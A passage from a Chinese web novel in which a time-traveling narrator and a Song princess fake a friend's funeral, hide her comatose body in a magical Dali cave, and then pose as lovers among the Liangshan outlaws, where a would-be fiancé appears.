赵桓领旨拜别圣驾,押着已如行尸般的越王向外走。金奴对哥哥赵桓说,“大哥,别忘了将王叔府上清理的“干净些”,莫让“任何人”打扰了王叔修养!”赵桓点点头。 皇帝整理了一下衣服,向赵金奴走去,“本想着请父王看戏,没想到”赵金奴忙跪下,“还是父王让我们涨了见识!女儿敬佩万分!” “已经不错了!”皇帝轻轻扶起女儿,面色早已恢复了平静,“可惜你不是皇子!”据说这不是皇帝第一次这么说,却是我第一次听到,说这话时,皇上带着微微笑意,仿佛什么都没有发生过,院落里也一样!只有月光照在地上。。。。。。 金奴搀扶着皇帝向屋里走来,“父皇,芊寻姐已经去了!”皇帝一行人刚至门口,瑚儿便冲了出去,一把抱住皇帝,哭着说“她救过我的命,父皇可不可以让她享公主的丧礼!” “好!”皇帝轻轻拍着瑚儿的头,柔声应允“瑚儿你们也早点休息吧!放心,雪儿的丧礼一定妥当!” “念你们没有大错,日后好好保护公主吧!”皇帝临走前赦免了冷岩冷语,兄妹二人跪在瑚儿面前,我们才知道原来他们和天如意都是越王的眼线,越王也正是勾结东瀛、雇佣雷洛行刺的幕后元凶。一个勤政爱民、野心勃勃尽管算进却一无所有的王,芊寻的生父,因皇帝几句虚假的关心,竟然让将自己唯一的女儿置之死地!彻头彻尾的输家! 原来,芊寻家让她小心的并非什么黄家人,而是赵氏皇族的人!!!权力到底是什么?为什么会把人变得这么可怕! 无尽的寒意将我包围。。。。。。 赵金奴送皇帝离开时,露出了一个微妙的,又似乎是赞许的笑。 “端木先生!芊寻是不是还有救?”瑚儿一边擦着泪一边问着,此时我反应过来,结合赵金奴看穿一切的笑,我明白了瑚儿刚刚扑向皇帝是为了拦住他们,也唯有此,才能保住此刻一息尚存的芊寻! 61、言归正传 “若是回大理,或有一线生机!”端木鸩若有所思的回答。 “好!”瑚儿拉起我的手,我本能的往回缩,我还不想离开芊寻,“你放心,等我们假装下葬后,就赶去大理,芊寻不会有事的”瑚儿缓和着语气,像是在哄孩子一般,但是却满是坚定。这孩子怎么也长大了,在一夜之间。 次日,皇帝命人送来了最上等的金丝楠木棺,棺底为均匀珍珠铺成。端木鸩说着极阴之木加之润养的珍珠,对芊寻是非常好的!而我们也明白了瑚儿为何坚持替芊寻讨这个公主丧仪。 棺木还需要停放两日才能下葬,师叔的病似乎更加重了,在昏睡中喃喃道很多不成段的话:对不起、不是本心、怕情爱伤了月儿、早知如此。。。。。。娘照顾着她,没有精力主持丧礼。府里名义上的女主人,我的发妻赵金奴依旧只是喝茶、和自己下棋,除了穿的素了点,似乎也丝毫没有被悲伤的气息所染。 布置灵堂、招待宾客、安排丧仪,这些我们都得好好做,才能让一切看起来名正言顺。能帮我的就只有瑚儿,她做回了真真正正的帝姬,周到的操持着,有条不紊。 夜深了,送走宾客和做超渡的僧人,瑚儿坐在台阶上,轻轻的捶起了小腿,穿着繁重正式的衣服,站了一天,到了晚上才能休息一下。终于,熬过了今夜,就是芊寻下葬之日了。 我悄悄为芊寻擦拭着脸与手,梳理头发,她那么喜好干净,如今睡着了,也该如此。 走出来刚好看到清冷的台阶上瑚儿瘦弱的身影。“谢谢你”我真没用,好像只能说这一句。我走过去坐到瑚儿旁边,瑚儿没有看我,只是停下了手里的动作,“无论芊寻是我的亲姐姐,还是同宗的堂姐姐,或是我们相识这些日子她对我的照顾,都值得我们这么做”声音依然好听、稚弱,加之她小小的身影,让我恍然间觉得,她又似乎没有变,没有变的成熟,说完话她双手环抱着放在膝盖上,头轻轻枕在上面。想必累坏了! 我正想唤她回房间休息,却迎面飞来一个酒瓶,下意识推开瑚儿,酒瓶置地碎裂,惊魂未定之时,一拳打在了我的脸上,看清来人竟然是曹冕!这几日来,我本就积攒了很多无名的怒火,眼下这个曾经给予芊寻最大伤害的人还来这里闹事,不管是站在什么立场,我拼命也得替芊寻和谦月出一口气!想着,我卯足力气回了一拳,没想到功夫远胜于我的曹冕没有闪避,而是任由拳头打在了脸上,我的右臂力道非比寻常,登时就听到骨骼碎裂的声音,想来他一侧的大牙都要报销了。 冷岩冷语闻声赶来,冷语却在看到他的瞬间怔住了,“是你!”曹冕没有理会。 “咱们都对不起芊寻”曹冕吐出一口鲜血,自言自语,随即再次向我走来,在可以感到彼此呼吸的距离,他伸手拍着我的脸说道,“你把她照顾的,真好!真好啊!”我打开他的手,他却转身向棺木走去,我忙拦住他,纵然他再对我动手,我也不想他碰芊寻。 “我只是想送送她!”曹冕看到棺木里的芊寻声音突然柔了下来,“就说两句话!” “我知道!你的心里不曾有过我,你的笑、你的泪、你的心甚至你的命都给了那个废物,”大哥平静了些许,走到了棺木旁边,近距离下看到他脸上、脖子上、手上突然长出红色的小斑点,我想起芊寻曾说过,在大哥差点又强迫她,导致我们出逃之时,她就在大哥身上下了毒,只要他再靠近她,就会浑身起红疹、奇痒难当,这也难怪后期大哥对我们不再打扰了。 曹冕颤抖着手,似乎忍着剧痛,从怀中掏出一封信,轻轻的放在芊寻手中,信封上写着的是休书二字。是时候,为这个原本就没有他的故事画上一个句点了。。。。。。 他用手在脸上狠狠的擦了一把,转身离开,消失在夜色里。。。。。。从此,直到他死的那一天,再也没有踏入过这个家。。。。。。当时我们并没有人在意,唯有冷语望着他离开的大门,许久。。。。。。 丧礼顺利举行,棺木白天下葬,晚上便被我们挖了出来,应该能让皇帝安心了吧! 连夜乘着马车,我们赶往大理。 这一路没有风景与花香,只有急迫,我们都只想芊寻早点醒过来! 几经辗转,我们来到了大理西南边境处的一座高山,这座山的山脚直到山顶,刚好等分为四段,温暖春色、百花斗艳、清爽宜人、冰天雪地,四时气候、四时景致分明。而后,我们根据端木鸩的指挥,将芊寻安放在山顶雪域的一个山洞中,洞口有棵矮松,常年披着冰雪,成为一个很好的遮掩门。 而洞内玄妙比这山的奇特则有过之而不无及!大约二十平方米的圆形空间,四壁被绿色植物覆满、百花盛开,东南方向有两座半米左右水池,一个里面的水温热冒着丝丝热气,紧挨着的池水摸起来则清凉舒适。洞中天地的正中,是一座由晶石形成的平台,大小刚好可以躺下一个人,平台周围依旧是百花环绕,正是芊寻安睡之所。这里的景色满是生机,空气里满是温润的感觉,看着安然睡着的芊寻,想来睡美人和等待王子吻醒的白雪公主也就该是这样吧。 “我们该做什么?”安顿好芊寻,我看向池水旁的端木鸩。 “嘘!”端木鸩示意我们不要出声,他轻轻挽起衣袖,看着池水。突然水波荡漾,而后数不清的巴掌大的各色锦鲤从池底涌出,端木鸩凝视着他们。过了约两分钟,只见水里出现一道白光,端木鸩也随即出手,转身时我们才看清,原来是一条白色略带透明的锦鲤。 他这是要许愿还是饿了?接着只见他手起刀落,用一把小刀割开了鲤鱼的腹部,伸手进去摸索一番,而后叹了口气,取出一点药末擦在鲤鱼刀口处,鲤鱼打了几个挺又被他放回池中。 “你这是做什么?”瑚儿抢先一步问道。 “世上除了九转殊途,就只有沧海一瞬能令人起死回生了”端木鸩用手帕一边擦手一边说着,“这两味药其实也都是传说,有幸你吃了九转殊途重生,而我祖上又传下了沧海一瞬。” 沧海一瞬原是一颗莲子,不过确实很独特的,甚至有点迷信的情况下才能形成的。端木鸩说,它需要是丙辰年中秋桂花树下池中所结的莲子,被苍山雪燕衔取,丢入洱海中,被白色锦鲤吞入腹中,而后于十月十日的跃龙池之日,锦鲤逆流通过地下水脉游至此处,经人捕捉,取出的莲子就是沧海一瞬。 “这种奇遇恐怕千年难有,”端木鸩悠悠的说,“我手里那颗是祖上传下来的,没想到当真有用,不过。。。。。” 端木鸩叹了口气,沧海一瞬比九转殊途温和,九转殊途药力刚猛,非死即生,而沧海一瞬会令人沉睡,直到再服用一颗,方可苏醒。所以他得守在这里,在每年十月十日捕捉锦鲤,以期再获得一颗,唤醒芊寻。 这要等到何年?难以想象这种迷信的等待,却是我们唯一的希望。 “我留下来和你一起抓鱼!”我也走到池水边,每年十月十是吗?好吧,总有一天会得到的。 “也好!你可住在山脚下的村子里,跃龙池之日再来,不然这里的环境你未必适应”端木鸩答道,“你也好好照顾你自己吧!芊寻把你看得比自己重要”。 是吗!那个人不是我啊!比令芊寻醒来更重要的事,也许是? “让她开开心心的醒来,张开眼看到朝思暮想的人!”端木鸩说到这里,语气变得郑重起来。 朝思暮想!她心心念念的人,一直都只有一个,我也许可以把她带回来。只是。。。。。。 看出了我的犹豫,端木鸩劝慰道,“你放心,苍海一瞬会让人不死、不伤、不老、不腐,所以不管多久,她都不会改变,她。。。。。。” “她只是睡了一觉!”我回到芊寻身边,看着她,轻轻的感慨,接上端木鸩的话。 芊寻,梦里的你是不和谦月过的很开心自在!有没有白头偕老?是不是无忧无虑的,仗剑天涯,过着神仙一样的日子。。。。。。 好好睡吧!我发誓,就算拼了这条命,也一定把谦月找回来送到你身边!让你未来的生活比梦更美好! 看着芊寻微微带着笑意的面庞,我也不禁笑了,注意到她头发上不知何时落上了一片小小的花瓣,我伸手轻轻拂去,再一次好好地看着她,如果有手机,我真想拍下她的样子,可惜,只能努力把她画在脑海里。。。。。。再一次在心里发誓,定让你和她重逢! 不知道看了多久,我抬起头,却对上了瑚儿注视我们的目光。。。。。。 “都收拾好了?”夜空下,我躺在山脚下的草地上,看着星星,问着刚刚躺在旁边的瑚儿。 “是呀!”声音仿佛就在耳边,而且有靠近的趋势,“接下来去哪里?” “送你回家,然后”我把手枕在头下,“去找谦月!” “我跟你去!”瑚儿脱口出。 “你就不好奇我到底是谁吗?”这傻丫头是不是忽略了我的话。 “其实我一直在想,你究竟凭什么让芊寻那么爱你”瑚儿很认真的说着,“人道还算老实听话,可是武功好差,又没文采,长得也一般。。。。。。。” 额(⊙o⊙)哦,天天抱着人家取暖,逼我讲故事哄她的时候,可没这么如数家珍的嫌弃我,现在知道我不是谦月,不是芊寻深爱的谦月,就一无是处了吗?(ㄒoㄒ) “但,你救过我,而且直到现在也陪着我”她的语气不再那么顽皮,而是温柔了起来“见过我好的样子、不好的样子,肯陪我疯、陪我玩,还肯吃我做的东西。。。。。” 起初听起来挺好的,不过怎么越说越像宠物狗呢! “做事情也还挺认真的,所以,就算你不是芊寻钟爱的谦月,”瑚儿停顿了一下,“你也是我很重要的知己!” “我们认识还不到一年吧!”我不自觉的叹了口气,在这个本不属于我的时代,能交到朋友,也算不枉此行了! “恩,不过在一起的经历却比很多人一辈子都多”说到这里,瑚儿开心的坐起来,许是想到了很多过往。 “生死之交!”我笑着说。 “是啊,那”瑚儿看着我,“你叫什么名字?” 那晚芊寻也问到了这句,不过她没有听到我的回答,想到这里,我也坐起身,环顾了四周,很怕再有什么毒针袭来,很怕我的名字是否已经变成了天机禁忌。再次看回瑚儿时,她似乎并没有着急,只是静静的看着我,等待我的回答。 “倪飞”我还是有些怕,只得贴近她耳边轻轻的说。这个名字于我而言已经有些遥远陌生了,好像是前世的记忆。“我叫倪飞!” “好,那我以后偷偷叫你小飞!”瑚儿也在我耳边说。 “对了,我在整理芊寻的衣物时发现了一封写给你的信”这阵子我们马不停蹄的赶路,几乎没有时间聊天,现在突然想起,芊寻给瑚儿的信,是一封有点厚度的信。 “我们一起看啊”瑚儿点起火折子交给我,打开信封,里面有两张折好的纸,瑚儿先展开小一点的,向我靠过来,想借着火光看清楚些,我凑过去的时候看到芊寻熟悉的笔迹。 瑚儿:对不起,我此生行医,一直以救人为己任,不想因为一己之私,害你。。。。。。 只看到这些,瑚儿便将信贴在胸口,不让我看,“你把火折子给我吧!既然是芊寻给我的信,还是不给你看比较好!”然后她让我转过去,这不是更让我好奇嘛。 只听得身后纸张的响声,过了十分钟左右,瑚儿说看完了,我转回身,却看到她的面颊绯红,“芊寻为何向你道歉,她说了什么?诶,你怎么脸这么红!”我说着想摸一下她的脸,却被她中途打了手。 “她。。。。。。说很抱歉没能医好我的寒毒”瑚儿说着,眼睛却没有看我,“不过她也为我留下了药方。” “哦,挺好的!”日日相伴,我知道寒毒对瑚儿的折磨有多深,如今有解救之法真是好极了!!不过瑚儿不是也该高兴吗?为何如此害羞?“那你脸红什么?”我不禁问道。 “哪有!是火烤的”瑚儿用手扶着脸,说话间,本就微弱摇曳的火折子被风吹灭了。真是在线打脸啊!你如果说是火折子的火烤红的脸,我宁愿相信是月光晒红的。 什么解救之法,会让女孩子这么害羞,难道是——“结婚生子”,我脱口而出。 我大学室友寒气比较重,每次来大姨妈都疼得死去活来,看了很多医生,吃了很多药都不好使,最后有个老中医给她一个宽心丸,让她听了想打人。大夫说,等你生完孩子就能好了。我同学大骂,庸医!瑚儿的寒毒也在子宫内,难道芊寻给了一样的答案? “你偷看了?”瑚儿打了我一下,娇羞之余,似乎有些生气。 “当然没有”我忙解释,“我就是猜的,真的!对了,那另一封信呢?”为了转移话题,也为了好奇,我问着另一张纸的情况。 “是。。。。。。图。谱”瑚儿有些支吾,“让我练功,强身健体的!”总算是说完了,她舒了口气。 哦,好吧暂时相信你!以后有机会我再把信偷过来看看。 “芊寻还说,谢谢你,虽然你不是谦月,但是也没有一刻让她觉得谦月变了”瑚儿又一次躺下来,自顾自的说着。“那你对芊寻呢?是怎么样的心情?你爱慕她吗?” “我。。。。。。我没有资格喜欢她!”想了片刻,我努力理清思绪,似乎只能这样回答。“我在作弊!” “什么?”瑚儿转过脸,问道。 “第一眼看到你,你就是我的光,温暖我、疼惜我,让我忘了周围有多寒冷、多孤独;无论我在哪里,只要想到你,我就不害怕;你让我知道这世上有个人无私的爱我,惦念我,就算牺牲性命也希望我快乐”我俯身靠向瑚儿,月光此刻倾洒在我们身边,填满每一寸我们未贴合的缝隙,我拄着手臂望着瑚儿,仿佛看着一件稀世珍宝,“你就像是这人世写给我的诗词,让我觉得自己是如此的不凡!”情不自禁的轻抚的她头发,我的视线没有片刻离的开她,“我也愿意用尽自己所有的力气、全部生命让你幸福,你是我最宝贵的人”我们在彼此眼眸里闪烁着光芒,我将身体俯的更低,越来越靠近她,最后喃喃的说出“我的爱人,芊寻!” 笑意、认真、走神、惊醒、生气,就是瑚儿在听我莫名其妙的深情“告白”时,脸上表情的变化过程。 “失心疯!”说着,她一把将我推到一边。 “这就是我和芊寻的感觉!”我躺在地上,突然笑起来,笑着笑着,眼泪却流了出来,也许是积累了太久,我早就想,也早就该大哭一场了。我用手臂挡住眼睛,痛哭。为心中的不舍,以及无法诉说的离殇而哭,对于谦月芊寻来说,我们都是外人而已,真的有资格表达什么吗? “好啦!”不知道过了多久,感到一只温暖的手摸着我的额头,“别伤心了!我明白了”瑚儿似乎已经不再生气,再一次像哄孩子一般轻轻的说着,“其实我也曾幻想过变成你给我讲过的故事里的人!” “经历无数奇遇、有个爱人死生契阔,”瑚儿叹了口气,“但是我也明白,别人的故事终究是别人的,他们深情的眼神和话语,都不是对我们!无论痴迷到何种地步,也终会有梦醒时的怅然若失。是这样吧!” “对不起!”我因为鼻塞,声音有些浑浊。刚刚也不知道怎么想的,居然会对她做出抽风般的隔空表白,真是很白痴的举动! “不必介怀”瑚儿突然露出一个豪气的表情,一扭头,躺回草地上。“不管真假,我也不会回应你,我这么好热闹,怎愿意孤独终身!” 这话还得怨她当年被天如意追求时,急迫下发的誓:如果爱上女人,就孤独一生。 “也对!”我看着星星,轻轻说道,心胸此刻舒畅了很多。 “流星!”突然天空中划过一颗流星,我叫瑚儿许愿。我当年可是给她讲了好多流星的故事,如流星花园、星语星愿等等,才纠正了她把流星当成扫把星的偏见。 “你许了什么愿?”瑚儿问我。 “找到谦月、芊寻醒来,他们早日重逢!”我老实回答,然后反问“你呢!?” “我希望所有的故事都有始有终!”她依旧看着星空,“芊寻和谦月的,你的,我的,每个人的故事都有个好的结果!” “这愿望可不小”我由衷的感慨道“老天爷未必有空给每个人都安排好结局” “如果谦月和芊寻的故事里,我们不那么重要,那我们的故事里呢?”瑚儿的质问,满是稚气却坚定,仿佛一个孩子经常提出让人错愕却有迷之道理的疑问。 “走,歇息吧”瑚儿拍了我一下,而后起身。 “今晚不听故事了?”我跟着起来,在她后面问着。 “你刚刚那些混账话,早吓坏人家了,还听。。。。。”瑚儿伸了懒腰,径直向我们暂住的木屋走去。月光下,萦绕着花的香气,我们一前一后的走着。 “我们往哪走?”迎着清晨温暖的阳光,站在木屋门口,我看着瑚儿问道。 “去战火纷飞的地方!”瑚儿深吸了一口气,“你不是说谦月会在那里重生吗?” 未及反应,瑚儿已经大步向前,走了几步她没有回头的招招手“快跟上啊!给芊寻和谦月的故事找个好的结局,说不定我们的故事也在其中呢!” “好!来了”我快步追了上去。。 也许我们的故事早已开始,只是我们和你们一样浑然未觉。。。。。。 62、风雪梁山路 “这都第五批了”小二为我们续了茶水,望着浩浩荡荡的剿寇大军,搭着旁桌茶客们的议论,“这次也总会有点真章了吧!来来回回。。。。。。跟闹着玩似的”。 说起来,我们离开大理已有两个月了,一路上我们寻着哪里有战事就去那里,就连村屯邻里纠纷我们都快去关注了,仿佛化身社区工作者,却一无所获,我们有时想,对“战火”“重生”的概念是不是有什么误解。本想着先回京城,却在路上遇到了朝廷派出的清剿水泊梁山的军队。虽然在我的印象里,朝廷的军队几乎没有占到什么便宜,而且将领们各自想着自己利益,双方就几乎没有实质上的交锋,可是毕竟还是心怀着一丝期望,万一呢! “其实他们也都挺喜欢出兵的吧”是夜,我和瑚儿在小船上,在白天听了很多议论、故事之后,商量着(瑚儿做主)还是决定亲自去梁山看看“那些世家子弟来回走走就算有军功了,回去也好加个官爵”我一面摇着浆,一面和瑚儿聊着,如今的局面她以前也见识过得,其实倒也不奇怪了。 现在梁山与岸上的水路是不通的,我们好说歹说买了一艘小船,老船家简单指导了下,我便赶鸭子上架的做了船工,船不大,和公园人工湖里的船差不多,我和瑚儿在其中膝盖相促,划着没有想象中费力。 月光很有分寸的投射在水面上,除了一轮倒影,便没有一丝多余的光,显得四周漆黑冷寂,若是没有我们彼此的声音,没有那前方灯火通明的梁山山寨做目标,也许就更为可怕了。乘舟水上的场景,我在来这个朝代之前便经历过,不过那时只觉泛舟星海之间,美不胜收,如今真的体验到的却是凄凄冷冷。看来梦想与现实比起来,当真是不会一样的!! “有没有觉得。。。。。。”瑚儿突然问道,伴随着船体微微摇晃“船,在震”好像是,而且越发严重,瑚儿一手抓住船身,一把拉住我,怕我因为拿着船桨而失去重心。 片刻后,震动消失。还没等我们舒口气,就觉得脚下凉凉的,伴随而来的是细细的水流声,船底已然被凿穿了一个两指宽的洞,水自然而然的涌入。说时迟那时快,瑚儿一把拉下自己的帽子,塞入洞中,水暂时被堵塞了。随后又是一阵震动,船底就生出了更多的“小泉眼”,完了!真要凉凉了! 几乎没给我们弃船逃跑的时间,船就主动的沉入水底了。 “放心,我带你游过去”我和瑚儿拉着手,脚踩着水,尽力维持浮在水面上,望着远处的山寨,我是有些绝望的,望山跑死马啊!这距离少说有三公里,我一口气能游百米就不错了。纵然瑚儿水性极好,带着我,加之。。。。。。此时我们面临的怎么只会是耐力这么简单的挑战,船明显是被人从水下凿穿的,也就是说,我们将被抓了。 “来者何人?”未等我们回答,带我们来的人忙答道“回哥哥,他们说是来投奔的”。在水里我和瑚儿没有过多挣扎,因为我们的目的地本也就是这水泊梁山。如今所在正是叫做“忠义厅”的地方,我们周身湿透,瑚儿因为失了帽巾,头发已经散开,水不时往下滴。担心她畏寒,我一直将她揽在怀里,“我们确是来此投奔的!”我抬头,座上人是位面色较深的汉子,想来是及时雨。我环视四周,未见到豹子头、戴宗等有过一面之缘的好汉。 “穿的不像受苦人家的”“怎会在这个节骨眼上来投奔”,“原以为朝廷这次也是走走过场呢?”厅上的人讨论着,“怕是来了探子吧!” “今儿,怎么这般热闹?”一个略有醉意的声音传来,有些熟悉!“花和尚叔叔!”瑚儿唤道,来者竟是鲁智深!“小娃娃,你们怎么在这?”鲁大师惊喜的笑开了眼。 “家里,容不下我们了”瑚儿伴着哭腔说着,强要起身却站不稳,靠着我,发丝湿润微贴面颊,脸色苍白,而唇更是没有生机的颜色,瘦弱的身体被湿透的衣服显得更加飘摇单薄。 “怎么了呢?”花和尚忙上前帮我搀扶着瑚儿,同时对旁人说“快,带他们换身干爽衣服再说!” “真是怪可怜的”孙二娘为瑚儿掖了掖散落的头发,轻轻叹息道。我和瑚儿挨坐在一起,待她讲完“我们”的故事,我为她递过碗温酒,看着她抿进些许,我轻轻搓了搓她的手臂,“再喝点暖暖身子!”我们习以为常的相依为命,此刻已然是一众好汉眼中的恩爱。 “报!”正当大家沉浸在我们的爱情故事里时,门外又被带进来一个约是弱冠之年的男子,看着有些眼熟。未及人们发问,他便看向了我和瑚儿这边。瑚儿小声说了句“糟糕!”随即微微低了低头,又喝点酒,希望用酒碗来遮挡下脸。 “我是来和谈的”男子看着宋江说道,看看我们又接着说了句“也是来寻妻的!” “在下向子房,任此军前祭酒”他挺了挺身子,加大音量说道。“我正是那位姑娘的未婚夫婿!” “放肆!”瑚儿一面说着一面将酒碗掷了过去,因为力弱,碗碎在了他脚边,残酒溅在他的官靴上,映着灯火闪着微光。 “哦,他除了是她姐夫。。。。。。。。她本也有婚约”好汉们又讨论起我们来了。“他们虽然可怜,也不能助长了不正之风啊” “大家莫要瞎说”鲁智深“曹兄弟和小娃娃他们确是早已真心相许,而且也是多番相助于我们,不信大家可以问问林贤弟” “向子房,我父。。。亲何时有过将我许配给你的旨。。。。事?”瑚儿立目问道。 “哦!确实没有指事,但是”向子房伸手从怀中取出一块玉佩来,我记得那日我们科举的宴会上,因为向子房也是了二榜进士出身,加之家室甚好,又与皇后家是远亲,皇上便在他作了一首词后,赐予了他这块翡翠。“也只差没有过定礼,再者你我青梅竹马,等的也只是你年岁再长些而已”向子房走过来微微笑笑。“反正都是故事,我配合你,你们也帮帮我嘛”在很近的距离,他轻轻说道。“你也识相点”瑚儿压低声音回敬道。 奇怪的剧情又增加了,而且好汉们似乎也颇有观赏的兴致。 “罢了,一时也断不清,既然也是仗义之人,又是旧相识”,宋江看着鲁智深又对着大家说“不如今日就此散了!待他们安顿好了在从长计议吧!”,说着又和吴用说道“对了,也不可怠慢了向大人”当然也有人嚷嚷着该杀了这狗官等等的,但是也被宋江压下来了。 “宋家妹子今晚打算如何休息?”顾大嫂和孙二娘拉着瑚儿问道。 “自是和我官人一起”瑚儿答道。 “你们虽私定了终身”顾大嫂轻轻拍了拍瑚儿,“可你这样不怕他以为你认定了他,不金贵着待你?我的傻妹子!”虽然是背着我,可是我还是能听的一清二楚呢! “谢谢姐姐提点”瑚儿微微红着脸,“可是没有他我睡不着”。其实这是一句客观的实话,我的作用和被子差不多,如果她不脸红的话,我估计没有人会想歪的。现在。。。。。。恐怕所有人觉得是。。。。。。(w) “咱们是不是该有点声音”瑚儿抱着我躺在梁山东北角的房间里一张并不算差的床榻上。 “啥?”我心里咯噔一下,但还是不置可否的问道“呼噜声吗?”她懂着这些。。。。。。 “天如意领我去过青楼”瑚儿的呼吸和声音轻轻拂过我的耳边。酥麻得我打了一个冷战。害人不浅的小天天,你倒是早登极乐了,可是给我们留下这么多坑。 “要不你叫吧”瑚儿轻轻坐起来,用手指指外面,纸窗外人影依稀。没准不只梁山上的人,还有那位向大人。 “我不得”我也坐了起来,却被瑚儿拉住了耳朵,“~呀”疼,“我的声音没你好听”我忙用手给瑚儿瘙痒,“恩~恩~讨厌~”甚是动听! “要不我给你做做足疗?”趁着冲过来掐死我前,我忙拦腰抱住她,她没有再攻击我,我舒了口气,双手扶着她的肩膀,“相信我,很舒服、解乏”我的眼神中一定闪烁着超级真诚的光芒(求生欲max)! 伴着瑚儿拉长赞许的尾音,我有些力竭的躺回她身边。我的力气并不算大,但是从脚上的穴位反馈来说,瑚儿的身体状况真的是不太好了!!! “你不怕把他吓跑了吗?”我恢复了些气息,轻轻的问着。在京城的日子里,我和瑚儿考验、结交了一些青年才俊,但是对于这位向大人,我的印象却不多,科举之筵后,我依稀记得他到了军前,但是却也听金奴说过,他们算是远方表亲,皇上也真的有意于让他做瑚儿的驸马! “好歹是青梅竹马!”我转向瑚儿,“哪怕好好说清楚呢?犯不着让他这样误会!” “我渴了,小飞飞”瑚儿的嗓音微微有点沙哑。我起身为她倒了杯水,因为担心她体寒,我便要了小火炉温着。轻轻吹了吹,送到她手里。她一饮而尽,随即又要了两杯。这一晚上,讲了大半夜的故事,又给足疗配了半天音。嗓子不难受就怪了!!! “如果和他过一辈子,会挺无聊的吧”再次躺好,瑚儿轻轻的说“五六岁就见过,没事就往宫里跑,而且今日看来他就那样吧”回想起,刚刚他将计就计的要挟,看来也是个会抢戏的人。 “你们俩编故事倒是能编到一起去”我为瑚儿掖了掖被角,回身吹熄了灯。 “今晚讲什么故事啊,爱飞~”瑚儿问。 “你都讲了半宿了”我把脸转向瑚儿,“真是精彩至极啊”赞许到。都感动哭好几个梁山好汉了!! “故事都没白听吧”瑚儿有些开心的小骄傲。 “是啊,赵大编剧!”我笑着说。 “也不都是瞎编哒”瑚儿颇为认真的说道。 “哦~”回忆起刚刚瑚儿讲述的故事,半分的梁祝;一分的金屋藏娇;一分谦月芊寻的心心相印;还有半分的各种莎士比亚、电影、同人网文。。。。。。我给她讲的睡前故事她居然都给串联上了,当然还有六分半是我们真实的经历。 “比如”瑚儿起了头,我便调侃起来。 “比如,洛水边初次相逢——一吻定情;擂台上比武招镖——美人千里护英雄;塞外遇险难——生死与共;契约婚姻——娥皇女英(姐妹俩嫁一个人)。。。。。。不顾世俗。。私定终身。。如今,又一同落草为寇。。。做一对雌雄。。。。雌雌大盗。。。”我巴拉巴拉的故作抑扬顿挫的总结着,瑚儿也笑了起来。“下次你来讲!” “还是喜欢听你讲故事”瑚儿微微搂紧了我。 “才不要!”怪不好意思的,我轻轻拍了拍瑚儿的背,“快睡吧,明天也不知道怎样呢!” “恩”真是累了!瑚儿,答应着,很快就睡着了。 闭着眼,听着她渐渐均匀的呼吸,我却没能很快睡去。回想着我们的经历,刚刚引我们入房的大嫂还特地嘱咐我好生待瑚儿,万不可辜负了她的痴心。我怎么会不好好待她呢?她原本是无忧无虑的公主,被那么多人捧在手心里。又有谁舍得她这样真诚无辜的人受伤。可是她这一身的寒疾、这奔波不停的境遇,我又该如何赔偿呢!向子房对于她,会是怎么样的存在呢!她是否也可能是担心自己身体不好,无法好好地做他人的妻子,而拒人于千里之外呢! 刚刚她讲故事时,在众人羡慕的眼光里,我竟然也有了当事人的悸动与欣喜。如果作为她故事里的爱人,是幸福的。不知在众人眼中,我们是良配吗? 又是刚刚,向子房说他是你未婚夫时,我的心跳好像都漏了一拍。 我们在胡闹吗? 与向子房的一生会无聊吗?那么一次次险象环生的冒险,真的是你想要的吗?如果我们没有遇见。你会不会享受着平安喜乐的过这一辈子!我们的相遇,带给你那么多好奇、那么多感叹,却也带给你那么多痛苦,这是一个不到二十岁的女孩该承受的吗? 想到这里,我不由得侧脸贴近了瑚儿眉眼。她的额头不是彻骨的冰凉,我竟然有些欣慰。 你的故事里该有我吗?如果从洛河开始,一切都没有发生,你的故事里,还会有我吗? 回答我的,只有渐渐破晓的天色。。。。。。 63、胜算 “早啊”日晒三竿,瑚儿踢了下脚,随后张开眼便晕晕乎乎的问早安。 “早”我这一夜觉睡得可谓是稀碎,瑚儿一动我便醒了,下意识的说着“饿了吗?” “恩,可是”瑚儿伸了下懒腰,“好乏!” “那我去要些吃食来,你再睡会吧”我本想起身,门外便响起了叩门声。 “曹兄弟,你们起来了吗?”是大嫂的声音。“我给你们送饭来了!” 不好怠慢,我半哄半拥着瑚儿起身,简单穿戴梳洗下,便开门将她们迎进来。 “对了,这是昨天那个祭酒说你姐姐给你的”我们配合大嫂摆好了饭菜,她就将一封信递了过来交给瑚儿。 “谢谢大嫂”瑚儿道谢接过。 “那你们先吃,一会我带你们去见大当家!” 听到是姐姐给的,瑚儿在顾大嫂关门后,忙打开来看,嘴不自觉得撅了起来。 “怎么了!金奴写的吗?”我看着她忙问道,她轻轻叹了口气,将信递给了我。 我虽然字丑,但是大学时古汉语学的不错,看懂文言文还是可以的。 大概有一页纸吧!但是概括下来的意思是:“良人、选他”,看来这向子房就是金奴为瑚儿挑选的良配吧! “你怎么看!”瑚儿自顾自的开始吃起来,如无其事的问着。 “挺好的”我回忆起那个男子,家世不错、相貌不错、前途不错,但,我觉得重要吗?“主要还得看你怎么觉得!”其实从昨晚他拿出玉佩,我也猜出了一些,我的疑惑或许快被印证了,瑚儿是那么信任着金奴,而且,他也确实不错!配得上公主了! “唉,我还年轻呢,不用想这些!”瑚儿摇摇头,微微耸了耸肩。 但是我们心里都明白,这个借口用不了多久了!她有几位妹妹不但成了亲,甚至已经为人母了! “你要是也觉得可以,那我们再多看看吧!”瑚儿淡淡的说道。 看看!考验吗?像昨晚那样?知道自己的未婚妻与别人有染,还能爱她如初!?非得这么考验人性吗?我们一路虽然玩笑似的考验了些青年才俊,但是这次是不是真的要更加认真的对待了。或者,她希望我帮她寻求一份坚定。 心里,怎么还是有点堵…… “快吃呀!看着我干嘛?”瑚儿被我呆呆的凝视打扰到了,不禁反问。 “我好奇”放下没怎么用过的筷子,我忙转移了话题“为什么每次咱们被人捉到,你都说我是你官人?” “这样挺凄美的,不是吗!?”瑚儿说着抿了一口面汤。 “哪里凄美?”我哭笑不得,公主大人你是嫌觊觎你美色的那些人,想杀我之心不够强吗?呵呵!!每次“为夫”都被打惨了好吗!?凄美?美的是你,凄都在我这里了?! “其实也算是为了圆梦吧!”见我生不如死的苦笑摇头,瑚儿笑笑道,“在宫里的日子太没趣了,我小时就时长看着墙外的天想,我会不会如同书里写的那些英雄神仙一般,也能在山山水水间闯荡,轰轰烈烈的留下一段故事!”瑚儿说着起了兴致,左手食指中指并拢抬起做了一个剑指中原的身段模样。“多攒点记忆总是好的嘛!”很小声的嘟囔。 “哦?”我假装质疑,心想就你这活泼好动的性子,这么好热闹、冒险,你走过之处只能尽是传奇,还用攒回忆!想到这里刚想和她打趣几句。 